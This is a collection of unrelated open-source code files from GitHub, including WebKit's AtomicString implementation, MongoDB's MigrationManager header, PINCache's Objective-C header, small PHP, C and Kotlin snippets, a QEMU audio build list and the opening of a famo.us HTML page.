unableToUnmarshal=Unable to unmarshal: %s
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
#include "util.h" /* Needed for linux, do not remove */
#include "stream.h"
jfloat
stream_encodeFloat(jfloat theFloat)
{
union {
jfloat f;
jint i;
} sF;
sF.f = theFloat;
sF.i = HOST_TO_JAVA_INT(sF.i);
return sF.f;
}
jdouble
stream_encodeDouble(jdouble d)
{
union {
jdouble d;
jlong l;
} sD;
sD.d = d;
sD.l = HOST_TO_JAVA_LONG(sD.l);
return sD.d;
}
| {
"pile_set_name": "Github"
} |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/**
* @path ch15/15.12/15.12.1/15.12.1.1/15.12.1.1-0-2.js
* @description <VT> is not valid JSON whitespace as specified by the production JSONWhitespace.
*/
function testcase() {
try {
JSON.parse('\u000b1234'); // should produce a syntax error
}
catch (e) {
return true; // treat any exception as a pass, other tests ensure that JSON.parse throws SyntaxError exceptions
}
}
runTestCase(testcase);
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2004, 2005, 2006, 2007, 2008 Apple Inc. All rights reserved.
* Copyright (C) 2010 Patrick Gansterer <paroga@paroga.com>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*
*/
#include "config.h"
#include "AtomicString.h"
#include "StringHash.h"
#include <wtf/HashSet.h>
#include <wtf/Threading.h>
#include <wtf/WTFThreadData.h>
#include <wtf/unicode/UTF8.h>
namespace WTF {
using namespace Unicode;
COMPILE_ASSERT(sizeof(AtomicString) == sizeof(String), atomic_string_and_string_must_be_same_size);
class AtomicStringTable {
public:
static AtomicStringTable* create()
{
AtomicStringTable* table = new AtomicStringTable;
WTFThreadData& data = wtfThreadData();
data.m_atomicStringTable = table;
data.m_atomicStringTableDestructor = AtomicStringTable::destroy;
return table;
}
HashSet<StringImpl*>& table()
{
return m_table;
}
private:
static void destroy(AtomicStringTable* table)
{
HashSet<StringImpl*>::iterator end = table->m_table.end();
for (HashSet<StringImpl*>::iterator iter = table->m_table.begin(); iter != end; ++iter)
(*iter)->setIsAtomic(false);
delete table;
}
HashSet<StringImpl*> m_table;
};
static inline HashSet<StringImpl*>& stringTable()
{
// Once possible we should make this non-lazy (constructed in WTFThreadData's constructor).
AtomicStringTable* table = wtfThreadData().atomicStringTable();
if (UNLIKELY(!table))
table = AtomicStringTable::create();
return table->table();
}
template<typename T, typename HashTranslator>
static inline PassRefPtr<StringImpl> addToStringTable(const T& value)
{
pair<HashSet<StringImpl*>::iterator, bool> addResult = stringTable().add<T, HashTranslator>(value);
// If the string is newly-translated, then we need to adopt it.
// The boolean in the pair tells us if that is so.
return addResult.second ? adoptRef(*addResult.first) : *addResult.first;
}
struct CStringTranslator {
static unsigned hash(const char* c)
{
return StringHasher::computeHash(c);
}
static bool equal(StringImpl* r, const char* s)
{
int length = r->length();
const UChar* d = r->characters();
for (int i = 0; i != length; ++i) {
unsigned char c = s[i];
if (d[i] != c)
return false;
}
return !s[length];
}
static void translate(StringImpl*& location, const char* const& c, unsigned hash)
{
location = StringImpl::create(c).leakRef();
location->setHash(hash);
location->setIsAtomic(true);
}
};
bool operator==(const AtomicString& a, const char* b)
{
StringImpl* impl = a.impl();
if ((!impl || !impl->characters()) && !b)
return true;
if ((!impl || !impl->characters()) || !b)
return false;
return CStringTranslator::equal(impl, b);
}
PassRefPtr<StringImpl> AtomicString::add(const char* c)
{
if (!c)
return 0;
if (!*c)
return StringImpl::empty();
return addToStringTable<const char*, CStringTranslator>(c);
}
struct UCharBuffer {
const UChar* s;
unsigned length;
};
static inline bool equal(StringImpl* string, const UChar* characters, unsigned length)
{
if (string->length() != length)
return false;
// FIXME: perhaps we should have a more abstract macro that indicates when
// going 4 bytes at a time is unsafe
#if CPU(ARM) || CPU(SH4) || CPU(MIPS) || CPU(SPARC)
const UChar* stringCharacters = string->characters();
for (unsigned i = 0; i != length; ++i) {
if (*stringCharacters++ != *characters++)
return false;
}
return true;
#else
/* Do it 4-bytes-at-a-time on architectures where it's safe */
const uint32_t* stringCharacters = reinterpret_cast<const uint32_t*>(string->characters());
const uint32_t* bufferCharacters = reinterpret_cast<const uint32_t*>(characters);
unsigned halfLength = length >> 1;
for (unsigned i = 0; i != halfLength; ++i) {
if (*stringCharacters++ != *bufferCharacters++)
return false;
}
if (length & 1 && *reinterpret_cast<const uint16_t*>(stringCharacters) != *reinterpret_cast<const uint16_t*>(bufferCharacters))
return false;
return true;
#endif
}
bool operator==(const AtomicString& string, const Vector<UChar>& vector)
{
return string.impl() && equal(string.impl(), vector.data(), vector.size());
}
struct UCharBufferTranslator {
static unsigned hash(const UCharBuffer& buf)
{
return StringHasher::computeHash(buf.s, buf.length);
}
static bool equal(StringImpl* const& str, const UCharBuffer& buf)
{
return WTF::equal(str, buf.s, buf.length);
}
static void translate(StringImpl*& location, const UCharBuffer& buf, unsigned hash)
{
location = StringImpl::create(buf.s, buf.length).leakRef();
location->setHash(hash);
location->setIsAtomic(true);
}
};
struct HashAndCharacters {
unsigned hash;
const UChar* characters;
unsigned length;
};
struct HashAndCharactersTranslator {
static unsigned hash(const HashAndCharacters& buffer)
{
ASSERT(buffer.hash == StringHasher::computeHash(buffer.characters, buffer.length));
return buffer.hash;
}
static bool equal(StringImpl* const& string, const HashAndCharacters& buffer)
{
return WTF::equal(string, buffer.characters, buffer.length);
}
static void translate(StringImpl*& location, const HashAndCharacters& buffer, unsigned hash)
{
location = StringImpl::create(buffer.characters, buffer.length).leakRef();
location->setHash(hash);
location->setIsAtomic(true);
}
};
struct HashAndUTF8Characters {
unsigned hash;
const char* characters;
unsigned length;
unsigned utf16Length;
};
struct HashAndUTF8CharactersTranslator {
static unsigned hash(const HashAndUTF8Characters& buffer)
{
return buffer.hash;
}
static bool equal(StringImpl* const& string, const HashAndUTF8Characters& buffer)
{
if (buffer.utf16Length != string->length())
return false;
const UChar* stringCharacters = string->characters();
// If buffer contains only ASCII characters UTF-8 and UTF16 length are the same.
if (buffer.utf16Length != buffer.length)
return equalUTF16WithUTF8(stringCharacters, stringCharacters + string->length(), buffer.characters, buffer.characters + buffer.length);
for (unsigned i = 0; i < buffer.length; ++i) {
ASSERT(isASCII(buffer.characters[i]));
if (stringCharacters[i] != buffer.characters[i])
return false;
}
return true;
}
static void translate(StringImpl*& location, const HashAndUTF8Characters& buffer, unsigned hash)
{
UChar* target;
location = StringImpl::createUninitialized(buffer.utf16Length, target).releaseRef();
const char* source = buffer.characters;
if (convertUTF8ToUTF16(&source, source + buffer.length, &target, target + buffer.utf16Length) != conversionOK)
ASSERT_NOT_REACHED();
location->setHash(hash);
location->setIsAtomic(true);
}
};
PassRefPtr<StringImpl> AtomicString::add(const UChar* s, unsigned length)
{
if (!s)
return 0;
if (!length)
return StringImpl::empty();
UCharBuffer buffer = { s, length };
return addToStringTable<UCharBuffer, UCharBufferTranslator>(buffer);
}
PassRefPtr<StringImpl> AtomicString::add(const UChar* s, unsigned length, unsigned existingHash)
{
ASSERT(s);
ASSERT(existingHash);
if (!length)
return StringImpl::empty();
HashAndCharacters buffer = { existingHash, s, length };
return addToStringTable<HashAndCharacters, HashAndCharactersTranslator>(buffer);
}
PassRefPtr<StringImpl> AtomicString::add(const UChar* s)
{
if (!s)
return 0;
int length = 0;
while (s[length] != UChar(0))
length++;
if (!length)
return StringImpl::empty();
UCharBuffer buffer = { s, static_cast<unsigned int>(length) };
return addToStringTable<UCharBuffer, UCharBufferTranslator>(buffer);
}
PassRefPtr<StringImpl> AtomicString::addSlowCase(StringImpl* r)
{
if (!r || r->isAtomic())
return r;
if (!r->length())
return StringImpl::empty();
StringImpl* result = *stringTable().add(r).first;
if (result == r)
r->setIsAtomic(true);
return result;
}
AtomicStringImpl* AtomicString::find(const UChar* s, unsigned length, unsigned existingHash)
{
ASSERT(s);
ASSERT(existingHash);
if (!length)
return static_cast<AtomicStringImpl*>(StringImpl::empty());
HashAndCharacters buffer = { existingHash, s, length };
HashSet<StringImpl*>::iterator iterator = stringTable().find<HashAndCharacters, HashAndCharactersTranslator>(buffer);
if (iterator == stringTable().end())
return 0;
return static_cast<AtomicStringImpl*>(*iterator);
}
void AtomicString::remove(StringImpl* r)
{
stringTable().remove(r);
}
AtomicString AtomicString::lower() const
{
// Note: This is a hot function in the Dromaeo benchmark.
StringImpl* impl = this->impl();
if (UNLIKELY(!impl))
return *this;
RefPtr<StringImpl> newImpl = impl->lower();
if (LIKELY(newImpl == impl))
return *this;
return AtomicString(newImpl);
}
AtomicString AtomicString::fromUTF8Internal(const char* charactersStart, const char* charactersEnd)
{
HashAndUTF8Characters buffer;
buffer.characters = charactersStart;
buffer.hash = calculateStringHashAndLengthFromUTF8(charactersStart, charactersEnd, buffer.length, buffer.utf16Length);
if (!buffer.hash)
return nullAtom;
AtomicString atomicString;
atomicString.m_string = addToStringTable<HashAndUTF8Characters, HashAndUTF8CharactersTranslator>(buffer);
return atomicString;
}
} // namespace WTF
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2004, 2005, 2008 Nikolas Zimmermann <zimmermann@kde.org>
* Copyright (C) 2004, 2005, 2007 Rob Buis <buis@kde.org>
* Copyright (C) 2018-2019 Apple Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#pragma once
#include "SVGElement.h"
#include "SVGExternalResourcesRequired.h"
#include "SVGFitToViewBox.h"
#include "SVGStringList.h"
#include "SVGZoomAndPan.h"
namespace WebCore {
class SVGViewElement final : public SVGElement, public SVGExternalResourcesRequired, public SVGFitToViewBox, public SVGZoomAndPan {
WTF_MAKE_ISO_ALLOCATED(SVGViewElement);
public:
static Ref<SVGViewElement> create(const QualifiedName&, Document&);
using SVGElement::ref;
using SVGElement::deref;
Ref<SVGStringList> viewTarget() { return m_viewTarget.copyRef(); }
private:
SVGViewElement(const QualifiedName&, Document&);
using PropertyRegistry = SVGPropertyOwnerRegistry<SVGViewElement, SVGElement, SVGExternalResourcesRequired, SVGFitToViewBox>;
const SVGPropertyRegistry& propertyRegistry() const final { return m_propertyRegistry; }
// FIXME(webkit.org/b/196554): svgAttributeChanged missing.
void parseAttribute(const QualifiedName&, const AtomString&) final;
bool rendererIsNeeded(const RenderStyle&) final { return false; }
PropertyRegistry m_propertyRegistry { *this };
Ref<SVGStringList> m_viewTarget { SVGStringList::create(this) };
};
} // namespace WebCore
| {
"pile_set_name": "Github"
} |
<?php
$r = new \ReflectionFunction('copy');
foreach($r->getParameters() as $p) {
var_dump($p->isOptional());
}
?>
| {
"pile_set_name": "Github"
} |
softmmu_ss.add(files('soundhw.c'))
softmmu_ss.add(when: 'CONFIG_AC97', if_true: files('ac97.c'))
softmmu_ss.add(when: 'CONFIG_ADLIB', if_true: files('fmopl.c', 'adlib.c'))
softmmu_ss.add(when: 'CONFIG_CS4231', if_true: files('cs4231.c'))
softmmu_ss.add(when: 'CONFIG_CS4231A', if_true: files('cs4231a.c'))
softmmu_ss.add(when: 'CONFIG_ES1370', if_true: files('es1370.c'))
softmmu_ss.add(when: 'CONFIG_GUS', if_true: files('gus.c', 'gusemu_hal.c', 'gusemu_mixer.c'))
softmmu_ss.add(when: 'CONFIG_HDA', if_true: files('intel-hda.c', 'hda-codec.c'))
softmmu_ss.add(when: 'CONFIG_MARVELL_88W8618', if_true: files('marvell_88w8618.c'))
softmmu_ss.add(when: 'CONFIG_MILKYMIST', if_true: files('milkymist-ac97.c'))
softmmu_ss.add(when: 'CONFIG_PCSPK', if_true: files('pcspk.c'))
softmmu_ss.add(when: 'CONFIG_PL041', if_true: files('pl041.c', 'lm4549.c'))
softmmu_ss.add(when: 'CONFIG_SB16', if_true: files('sb16.c'))
softmmu_ss.add(when: 'CONFIG_WM8750', if_true: files('wm8750.c'))
| {
"pile_set_name": "Github"
} |
/**
* Copyright (C) 2018-present MongoDB, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the Server Side Public License, version 1,
* as published by MongoDB, Inc.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* Server Side Public License for more details.
*
* You should have received a copy of the Server Side Public License
* along with this program. If not, see
* <http://www.mongodb.com/licensing/server-side-public-license>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the Server Side Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#pragma once
#include <list>
#include <map>
#include <vector>
#include "mongo/bson/bsonobj.h"
#include "mongo/db/namespace_string.h"
#include "mongo/db/s/balancer/balancer_policy.h"
#include "mongo/db/s/balancer/type_migration.h"
#include "mongo/executor/task_executor.h"
#include "mongo/platform/mutex.h"
#include "mongo/s/catalog/dist_lock_manager.h"
#include "mongo/s/request_types/migration_secondary_throttle_options.h"
#include "mongo/stdx/condition_variable.h"
#include "mongo/stdx/unordered_map.h"
#include "mongo/util/concurrency/notification.h"
#include "mongo/util/concurrency/with_lock.h"
namespace mongo {
class OperationContext;
class ScopedMigrationRequest;
class ServiceContext;
class Status;
template <typename T>
class StatusWith;
// Uniquely identifies a migration, regardless of shard and version.
typedef std::string MigrationIdentifier;
typedef std::map<MigrationIdentifier, Status> MigrationStatuses;
/**
* Manages and executes parallel migrations for the balancer.
*/
class MigrationManager {
MigrationManager(const MigrationManager&) = delete;
MigrationManager& operator=(const MigrationManager&) = delete;
public:
MigrationManager(ServiceContext* serviceContext);
~MigrationManager();
/**
* A blocking method that attempts to schedule all the migrations specified in
* "candidateMigrations" and wait for them to complete. Takes the distributed lock for each
* collection with a chunk being migrated.
*
* If any of the migrations, which were scheduled in parallel fails with a LockBusy error
* reported from the shard, retries it serially without the distributed lock.
*
* Returns a map of migration Status objects to indicate the success/failure of each migration.
*/
MigrationStatuses executeMigrationsForAutoBalance(
OperationContext* opCtx,
const std::vector<MigrateInfo>& migrateInfos,
uint64_t maxChunkSizeBytes,
const MigrationSecondaryThrottleOptions& secondaryThrottle,
bool waitForDelete);
/**
* A blocking method that attempts to schedule the migration specified in "migrateInfo" and
* waits for it to complete. Takes the distributed lock for the namespace which is being
* migrated.
*
* Returns the status of the migration.
*/
Status executeManualMigration(OperationContext* opCtx,
const MigrateInfo& migrateInfo,
uint64_t maxChunkSizeBytes,
const MigrationSecondaryThrottleOptions& secondaryThrottle,
bool waitForDelete);
/**
* Non-blocking method that puts the migration manager in the kRecovering state, in which
* new migration requests will block until finishRecovery is called. Then reacquires distributed
* locks for the balancer and any active migrations. The distributed locks are taken with local
* write concern, since this is called in drain mode where majority writes are not yet possible.
*
* The active migration recovery may fail and be abandoned, setting the state to kEnabled.
*/
void startRecoveryAndAcquireDistLocks(OperationContext* opCtx);
/**
* Blocking method that must only be called after startRecovery has been called. Recovers the
* state of the migration manager (if necessary and able) and puts it in the kEnabled state,
* where it will accept new migrations. Any migrations waiting on the recovery state will be
* unblocked once the state is kEnabled, and then this function waits for the recovered active
* migrations to finish before returning.
*
* The active migration recovery may fail and be abandoned, setting the state to kEnabled and
* unblocking any process waiting on the recovery state.
*/
void finishRecovery(OperationContext* opCtx,
uint64_t maxChunkSizeBytes,
const MigrationSecondaryThrottleOptions& secondaryThrottle);
/**
* Non-blocking method that should never be called concurrently with finishRecovery. Puts the
* manager in a state where all subsequently scheduled migrations will immediately fail (without
* ever getting scheduled) and all active ones will be cancelled. It has no effect if the
* migration manager is already stopping or stopped.
*/
void interruptAndDisableMigrations();
/**
* Blocking method that waits for any currently scheduled migrations to complete. Must be
* called after interruptAndDisableMigrations has been called in order to be able to re-enable
* migrations again.
*/
void drainActiveMigrations();
private:
// The current state of the migration manager
enum class State { // Allowed transitions:
kStopped, // kRecovering
kRecovering, // kEnabled, kStopping
kEnabled, // kStopping
kStopping, // kStopped
};
/**
* Tracks the execution state of a single migration.
*/
struct Migration {
Migration(NamespaceString nss, BSONObj moveChunkCmdObj);
~Migration();
// Namespace for which this migration applies
NamespaceString nss;
// Command object representing the migration
BSONObj moveChunkCmdObj;
// Callback handle for the migration network request. If the migration has not yet been sent
// on the network, this value is not set.
boost::optional<executor::TaskExecutor::CallbackHandle> callbackHandle;
// Notification, which will be signaled when the migration completes
std::shared_ptr<Notification<executor::RemoteCommandResponse>> completionNotification;
};
// Used as a type in which to store a list of active migrations. The reason to choose list is
// that its iterators do not get invalidated when entries are removed around them. This allows
// O(1) removal time.
using MigrationsList = std::list<Migration>;
using CollectionMigrationsStateMap = stdx::unordered_map<NamespaceString, MigrationsList>;
using ScopedMigrationRequestsMap =
std::map<MigrationIdentifier, StatusWith<ScopedMigrationRequest>>;
/**
* Optionally takes the collection distributed lock and schedules a chunk migration with the
* specified parameters. May block for distributed lock acquisition. If dist lock acquisition is
* successful (or not done), schedules the migration request and returns a notification which
* can be used to obtain the outcome of the operation.
*/
std::shared_ptr<Notification<executor::RemoteCommandResponse>> _schedule(
OperationContext* opCtx,
const MigrateInfo& migrateInfo,
uint64_t maxChunkSizeBytes,
const MigrationSecondaryThrottleOptions& secondaryThrottle,
bool waitForDelete,
ScopedMigrationRequestsMap* scopedMigrationRequests);
/**
* Acquires the collection distributed lock for the specified namespace and if it succeeds,
* schedules the migration.
*
* The distributed lock is acquired before scheduling the first migration for the collection and
* is only released when all active migrations on the collection have finished.
*
* Assumes that the migration document has already been written if no ScopedMigrationRequestsMap
* pointer is passed. Otherwise, writes the migration document under the collection distributed
* lock and adds it to the map.
*/
void _schedule(WithLock,
OperationContext* opCtx,
const HostAndPort& targetHost,
Migration migration,
const MigrateInfo& migrateInfo,
bool waitForDelete,
ScopedMigrationRequestsMap* scopedMigrationRequests);
/**
* Used internally for migrations scheduled with the distributed lock acquired by the config
* server. Called exactly once for each scheduled migration, it will signal the migration in the
* passed iterator and if this is the last migration for the collection will free the collection
* distributed lock.
*/
void _complete(WithLock,
OperationContext* opCtx,
MigrationsList::iterator itMigration,
const executor::RemoteCommandResponse& remoteCommandResponse);
/**
* If the state of the migration manager is kStopping, checks whether there are any outstanding
* scheduled requests and if there aren't any signals the class condition variable.
*/
void _checkDrained(WithLock);
/**
* Blocking call, which waits for the migration manager to leave the recovering state (if it is
* currently recovering).
*/
void _waitForRecovery();
/**
* Should only be called from startRecovery or finishRecovery functions when the migration
* manager is in either the kStopped or kRecovering state. Releases all the distributed locks
* that the balancer holds, clears the config.migrations collection, changes the state of the
* migration manager to kEnabled. Then unblocks all processes waiting for kEnabled state.
*/
void _abandonActiveMigrationsAndEnableManager(OperationContext* opCtx);
/**
* Parses a moveChunk RemoteCommandResponse's two levels of Status objects and distiguishes
* between errors generated by this config server and the shard primary to which the moveChunk
* command was sent.
*
* If the command failed because of stepdown of this config server, the migration document
* managed by 'scopedMigrationRequest' is saved for later balancer recovery and a
* BalancerInterrupted error is returned. If the command failed because the shard to which the
* command was sent returned an error, the migration document is not saved and the error is
* returned without conversion.
*/
Status _processRemoteCommandResponse(
const executor::RemoteCommandResponse& remoteCommandResponse,
ScopedMigrationRequest* scopedMigrationRequest);
// The service context under which this migration manager runs.
ServiceContext* const _serviceContext;
// Used as a constant session ID for all distributed locks that this MigrationManager holds.
// Currently required so that locks can be reacquired for the balancer in startRecovery and then
// overtaken in later operations.
const OID _lockSessionID{OID::gen()};
// Carries migration information over from startRecovery to finishRecovery. Should only be set
// in startRecovery and then accessed in finishRecovery.
stdx::unordered_map<NamespaceString, std::list<MigrationType>> _migrationRecoveryMap;
// Protects the class state below.
Mutex _mutex = MONGO_MAKE_LATCH("MigrationManager::_mutex");
// Always start the migration manager in a stopped state.
State _state{State::kStopped};
// Condition variable, which is waited on when the migration manager's state is changing and
// signaled when the state change is complete.
stdx::condition_variable _condVar;
// Maps collection namespaces to that collection's active migrations.
CollectionMigrationsStateMap _activeMigrations;
};
} // namespace mongo
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main() {
return sizeof(signed short int);
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* This file is part of phpDocumentor.
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*
* @copyright 2010-2015 Mike van Riel<mike@phpdoc.org>
* @license http://www.opensource.org/licenses/mit-license.php MIT
* @link http://phpdoc.org
*/
namespace phpDocumentor\Reflection\Types;
use phpDocumentor\Reflection\Type;
/**
* Value Object representing the 'scalar' pseudo-type, which is either a string, integer, float or boolean.
*/
final class Scalar implements Type
{
/**
* Returns a rendered output of the Type as it would be used in a DocBlock.
*
* @return string
*/
public function __toString()
{
return 'scalar';
}
}
| {
"pile_set_name": "Github"
} |
package ru.surfstudio.android.build
object GradleTasksNames {
const val GRADLE_TASK_CREATE_PROJECT_CONFIGURATION = "CreateProjectConfiguration"
const val GRADLE_TASK_CREATE_FROM_TEMP = "RunCreateProjectConfigurationFromTemp"
} | {
"pile_set_name": "Github"
} |
// PINCache is a modified version of TMCache
// Modifications by Garrett Moon
// Copyright (c) 2015 Pinterest. All rights reserved.
#import <Foundation/Foundation.h>
#import <PINCache/PINCacheMacros.h>
#import <PINCache/PINCaching.h>
#import <PINCache/PINDiskCache.h>
#import <PINCache/PINMemoryCache.h>
NS_ASSUME_NONNULL_BEGIN
@class PINCache;
/**
`PINCache` is a thread safe key/value store designed for persisting temporary objects that are expensive to
reproduce, such as downloaded data or the results of slow processing. It is comprised of two self-similar
stores, one in memory (<PINMemoryCache>) and one on disk (<PINDiskCache>).
`PINCache` itself actually does very little; its main function is providing a front end for a common use case:
a small, fast memory cache that asynchronously persists itself to a large, slow disk cache. When objects are
removed from the memory cache in response to an "apocalyptic" event they remain in the disk cache and are
repopulated in memory the next time they are accessed. `PINCache` also does the tedious work of creating a
dispatch group to wait for both caches to finish their operations without blocking each other.
The parallel caches are accessible as public properties (<memoryCache> and <diskCache>) and can be manipulated
separately if necessary. See the docs for <PINMemoryCache> and <PINDiskCache> for more details.
@warning when using in extension or watch extension, define PIN_APP_EXTENSIONS=1
*/
PIN_SUBCLASSING_RESTRICTED
@interface PINCache : NSObject <PINCaching, PINCacheObjectSubscripting>
#pragma mark -
/// @name Core
/**
Synchronously retrieves the total byte count of the <diskCache> on the shared disk queue.
*/
@property (readonly) NSUInteger diskByteCount;
/**
The underlying disk cache, see <PINDiskCache> for additional configuration and trimming options.
*/
@property (readonly) PINDiskCache *diskCache;
/**
The underlying memory cache, see <PINMemoryCache> for additional configuration and trimming options.
*/
@property (readonly) PINMemoryCache *memoryCache;
#pragma mark - Lifecycle
/// @name Initialization
/**
A shared cache.
@result The shared singleton cache instance.
*/
@property (class, strong, readonly) PINCache *sharedCache;
- (instancetype)init NS_UNAVAILABLE;
/**
Multiple instances with the same name are *not* allowed and can *not* safely
access the same data on disk. Also used to create the <diskCache>.
@see name
@param name The name of the cache.
@result A new cache with the specified name.
*/
- (instancetype)initWithName:(nonnull NSString *)name;
/**
Multiple instances with the same name are *not* allowed and can *not* safely
access the same data on disk. Also used to create the <diskCache>.
@see name
@param name The name of the cache.
@param rootPath The path of the cache on disk.
@result A new cache with the specified name.
*/
- (instancetype)initWithName:(nonnull NSString *)name rootPath:(nonnull NSString *)rootPath;
/**
Multiple instances with the same name are *not* allowed and can *not* safely
access the same data on disk.. Also used to create the <diskCache>.
Initializer allows you to override default NSKeyedArchiver/NSKeyedUnarchiver serialization for <diskCache>.
You must provide both serializer and deserializer, or opt-out to default implementation providing nil values.
@see name
@param name The name of the cache.
@param rootPath The path of the cache on disk.
@param serializer A block used to serialize object before writing to disk. If nil provided, default NSKeyedArchiver serialized will be used.
@param deserializer A block used to deserialize object read from disk. If nil provided, default NSKeyedUnarchiver serialized will be used.
@result A new cache with the specified name.
*/
- (instancetype)initWithName:(NSString *)name
rootPath:(NSString *)rootPath
serializer:(nullable PINDiskCacheSerializerBlock)serializer
deserializer:(nullable PINDiskCacheDeserializerBlock)deserializer;
/**
Multiple instances with the same name are *not* allowed and can *not* safely
access the same data on disk. Also used to create the <diskCache>.
Initializer allows you to override default NSKeyedArchiver/NSKeyedUnarchiver serialization for <diskCache>.
You must provide both serializer and deserializer, or opt-out to default implementation providing nil values.
@see name
@param name The name of the cache.
@param rootPath The path of the cache on disk.
@param serializer A block used to serialize object before writing to disk. If nil provided, default NSKeyedArchiver serialized will be used.
@param deserializer A block used to deserialize object read from disk. If nil provided, default NSKeyedUnarchiver serialized will be used.
@param keyEncoder A block used to encode key(filename). If nil provided, default url encoder will be used
@param keyDecoder A block used to decode key(filename). If nil provided, default url decoder will be used
@result A new cache with the specified name.
*/
- (instancetype)initWithName:(nonnull NSString *)name
rootPath:(nonnull NSString *)rootPath
serializer:(nullable PINDiskCacheSerializerBlock)serializer
deserializer:(nullable PINDiskCacheDeserializerBlock)deserializer
keyEncoder:(nullable PINDiskCacheKeyEncoderBlock)keyEncoder
keyDecoder:(nullable PINDiskCacheKeyDecoderBlock)keyDecoder NS_DESIGNATED_INITIALIZER;
@end
@interface PINCache (Deprecated)
- (void)containsObjectForKey:(NSString *)key block:(PINCacheObjectContainmentBlock)block __attribute__((deprecated));
- (void)objectForKey:(NSString *)key block:(PINCacheObjectBlock)block __attribute__((deprecated));
- (void)setObject:(id <NSCoding>)object forKey:(NSString *)key block:(nullable PINCacheObjectBlock)block __attribute__((deprecated));
- (void)setObject:(id <NSCoding>)object forKey:(NSString *)key withCost:(NSUInteger)cost block:(nullable PINCacheObjectBlock)block __attribute__((deprecated));
- (void)removeObjectForKey:(NSString *)key block:(nullable PINCacheObjectBlock)block __attribute__((deprecated));
- (void)trimToDate:(NSDate *)date block:(nullable PINCacheBlock)block __attribute__((deprecated));
- (void)removeAllObjects:(nullable PINCacheBlock)block __attribute__((deprecated));
@end
NS_ASSUME_NONNULL_END
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>famo.us App</title>
<meta name="viewport" content="width=device-width, maximum-scale=1, initial-scale=1, user-scalable=no" />
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" />
